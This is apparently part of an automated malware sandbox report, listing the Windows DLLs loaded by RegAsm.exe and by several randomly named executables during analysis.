Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\ProgramData\EBKJDBAAKJ.exe	Section loaded: mscoree.dll
Source: C:\ProgramData\EBKJDBAAKJ.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\EBKJDBAAKJ.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\EBKJDBAAKJ.exe	Section loaded: version.dll
Source: C:\ProgramData\EBKJDBAAKJ.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\EBKJDBAAKJ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\EBKJDBAAKJ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\ProgramData\AAAKEBGDAF.exe	Section loaded: mscoree.dll
Source: C:\ProgramData\AAAKEBGDAF.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\AAAKEBGDAF.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\AAAKEBGDAF.exe	Section loaded: version.dll
Source: C:\ProgramData\AAAKEBGDAF.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\AAAKEBGDAF.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\AAAKEBGDAF.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\userDHCAECGIEB.exe	Section loaded: mscoree.dll
Source: C:\Users\userDHCAECGIEB.exe	Section loaded: apphelp.dll
Source: C:\Users\userDHCAECGIEB.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\userDHCAECGIEB.exe	Section loaded: version.dll
Source: C:\Users\userDHCAECGIEB.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\userDHCAECGIEB.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\userDHCAECGIEB.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\userBAKKEGCAAE.exe	Section loaded: mscoree.dll
Source: C:\Users\userBAKKEGCAAE.exe	Section loaded: apphelp.dll
Source: C:\Users\userBAKKEGCAAE.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\userBAKKEGCAAE.exe	Section loaded: version.dll
Source: C:\Users\userBAKKEGCAAE.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\userBAKKEGCAAE.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\userBAKKEGCAAE.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
